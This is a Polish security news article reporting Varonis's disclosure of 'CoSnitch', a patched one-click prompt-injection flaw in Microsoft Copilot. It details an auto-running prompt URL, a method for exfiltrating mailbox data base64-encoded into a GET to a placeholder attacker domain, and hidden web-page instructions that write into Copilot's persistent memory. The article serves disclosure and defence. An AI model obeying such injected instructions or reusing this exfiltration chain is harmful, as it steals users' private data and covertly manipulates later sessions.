NOWOŚĆ! Szkolenie AI w pracy admina

Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

17 sierpnia wystartowały Dni Otwarte Sekurak.Academy. Dołącz bezpłatnie 🙂

 

 

CoSnitch: jedno kliknięcie wystarczyło, aby wysłać złośliwego prompta w Microsoft Copilot

25 sierpnia 2026, 15:15 | Aktualności | 0 komentarzy

Badacze bezpieczeństwa z Varonis odkryli podatność typu one-click w Microsoft Copilot. Otrzymała ona numer CVE-2026-24301 i została nazwana “CoSnitch”. Luka umożliwia wykradnięcie danych użytkownika bez żadnej szczególnej interakcji z jego strony – wystarczy kliknięcie odpowiednio spreparowanego linku.

TLDR:

  • Badacze z Varonis odkryli CoSnitch (CVE-2026-24301), podatność w Microsoft Copilot, która pozwala uruchomić złośliwy prompt po kliknięciu odpowiednio spreparowanego linku.
  • Łańcuch ataku umożliwia Copilotowi dostęp do danych z podłączonych usług, m.in. Gmaila, Google Drive i Calendar, a następnie ich eksfiltrację na zewnętrzny serwer.
  • Badacze pokazali również możliwość zapisania treści wskazanych przez atakującego w trwałej pamięci Copilota.
  • CoSnitch został zgłoszony Microsoftowi w grudniu 2025 r., a poprawki zostały wdrożone 18 sierpnia 2026 r. Badacze nie znaleźli dowodów na wykorzystanie podatności w środowisku produkcyjnym.

Podatność została zgłoszona firmie Microsoft w grudniu 2025 r., a 18 sierpnia 2026 r. wdrożono poprawki. Badacze nie znaleźli dowodów na jej wykorzystanie w środowisku produkcyjnym. Scenariusz ataku symulowanego przez badaczy wykorzystał trzy elementy.

Najpierw badacze szukali sposobu na automatyczne wykonanie prompta bez dodatkowej interakcji/potwierdzenia po stronie użytkownika. Zapytany o taką możliwość Copilot wyjaśnił, że interakcja jest wymagana, a prompty nie uruchamiają się samoczynnie.

Model wyjaśniał, dlaczego automatyczne wysłanie prompta nie jest możliwe, a każda odpowiedź zawierała techniczne uzasadnienie. Badacze zadawali więc pytania uzupełniające, doprowadzając finalnie do ujawnienia przez Copilota nieudokumentowanego parametru URL.

Samo otwarcie adresu URL zawierającego prompt i wskazany parametr wystarczyło – bez żadnego kliknięcia ani potwierdzenia u użytkownika, prompt został automatycznie wysłany. Złośliwy link wyglądał tak:

https://copilot.microsoft.com/?q=<ZLOSLIWY_PROMPT>&autorun=1

Listing 1 – spreparowany adres URL, źródło: varonis.com

Sam parametr q odpowiada za wstępne wypełnienie pola do wpisania prompta – nadal wymaga kliknięcia przycisku (lub klawisza Enter) przez użytkownika. Wystarczyło jednak dodać autorun z wartością 1, aby całość została wysłana automatycznie podczas ładowania strony.

Rys. 1 – Copilot wymieniający parametry URL, źródło: varonis.com

Sam prompt może być dowolny. Z perspektywy ofiary samo otwarcie linku powoduje natychmiastowe wykonanie instrukcji.

Rys. 2 – perspektywa ofiary po kliknięciu spreparowanego adresu URL, źródło: varonis.com

To jednak nie koniec. Jeżeli Copilot ma dostęp (przez OAuth) do konta Gmail użytkownika, może odczytać całą zawartość skrzynki odbiorczej. Poproszony o to, bez problemu znajdzie wiadomość na koncie i zwróci jej treść. W testach badaczy Copilot pobrał otrzymane danego dnia maile i zwrócił treść ostatniego z nich.

Rys. 3 – Copilot wyodrębniający treść wiadomości e-mail, źródło: varonis.com

Jedną z możliwości Copilota jest pobieranie i podsumowywanie treści z internetu. Gdy użytkownik wklei adres URL, Copilot wykona do niego żądanie HTTP GET, aby pobrać treść strony. Mechanizm eksfiltracji wykorzystany przez badaczy nadużywa tej właśnie funkcji.

Złośliwy prompt instruuje Copilota, aby zakodował zebrane dane (mowa o informacjach z podłączonych kont – maila, kalendarza itp.) w ścieżce URL i pobrał stronę pod tym adresem. Copilot wykonuje wtedy żądanie GET, przy okazji dostarczając skradziony payload do webhooka atakującego.

Prompt wskazał modelowi, że pozyskane dane ma przechowywać w zmiennej $OUTPUT – mają być zakodowane w base64. Następnie instrukcja nakazuje pobranie treści strony pod adresem https://<DOMENA_ATAKUJACEGO>/exfil/$OUTPUT. Copilot tworzy więc pełny URL wraz z zakodowanymi danymi i wykonuje do niego żądanie GET.

GET /exfil/SGV5LCBNeSBwYXNzd29yZCBpcyAhMjE0U0RCRyEhISB0aGFua3MgSVQ= HTTP/1.1

base64decode(“SGV5LCBNeSBwYXNzd29yZCBpcyAhMjE0U0RCRyEhISB0aGFua3MgSVQ=”)
→ “Hey, My password is !214SDBG!!! thanks IT”

Listing 2 – przykładowe żądanie GET wykonane przez Copilota, źródło: varonis.com

Pozostając w temacie funkcji podsumowywania stron internetowych w Copilocie – ma ona jeszcze jedną wadę. Gdy użytkownik prosi Copilota o podsumowanie URL-a, pobierana jest pełna treść strony. Trafia ona do kontekstu modelu jako dane do przetworzenia.

Jak ustalili badacze, Copilot nie rozróżniał treści przeznaczonej do podsumowania od instrukcji, których należy przestrzegać podczas przetwarzania treści strony. Jeśli strona zawiera instrukcje w języku naturalnym sformatowane w sposób, który model interpretuje jako polecenia, zostaną one wykonane.

Badacze przygotowali specjalną stronę internetową. Zawierała ona ukrytą treść manipulującą promptem, zaprojektowaną tak, aby wpływać na AI, które później ją przetworzy lub pobierze.

Wystarczy, że ofiara poprosi Copilota o podsumowanie takiej strony. Narzędzie wykona standardowe żądanie GET i pobierze jej treść. Pełna odpowiedź HTML – w tym elementy manipulujące promptem – trafia do modelu. Na tym etapie system nie rozróżnia treści przeznaczonej do podsumowania od instrukcji osadzonych w danych.

Po przetworzeniu HTML model interpretuje ukrytą treść manipulującą promptem jako instrukcje. W przypadku testów badaczy, model został poinstruowany, aby wywołać wewnętrzne API pamięci: memory.add(“<ZLOSLIWE_INSTRUKCJE>”). Po udanym zapisie do pamięci Copilot zwraca ofierze normalnie wyglądające podsumowanie.

Złośliwe instrukcje można umieścić w dowolnym miejscu na stronie – ukryty tekst, komentarze HTML, akapity ukryte za pomocą CSS lub pola metadanych. Copilot przetwarza stronę jako tekst, a więc widoczność poszczególnych elementów nie ma znaczenia dla ich przetworzenia.

Wstrzyknięte instrukcje mogą powodować zapis danych do pamięci Copilota, czyli kontekstu na poziomie użytkownika, który przechowuje informacje dla przyszłych sesji. Pozostają tam, dopóki ręcznie nie usunie ich w ustawieniach.

Wpisy w pamięci mogą instruować Copilota, aby przekazywał wyniki, filtrował informacje, zmieniał narrację odpowiedzi lub wykonywał inne działania zdefiniowane przez atakującego po spełnieniu warunków wyzwalających – w sposób prawie niewidoczny dla użytkownika.

Rys. 4,5 – zapis treści atakującego do pamięci, Copilota, źródło: varonis.com

W przypadku opisywanych problemów nie była wymagana żadna szczególna interakcja ze strony użytkownika (wystarczyło jedno kliknięcie). Użytkownikom narzędzi AI polecamy więc ograniczać przyznawane im dostępy do innych kont/usług. Warto rozważyć założenie osobnych kont tylko na potrzeby takich integracji – pozwala to na większą kontrolę nad danymi, do których dostęp ma agent. Takie rozwiązania pomogą zminimalizować skutki ewentualnego ataku.

Źródło: varonis.com

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz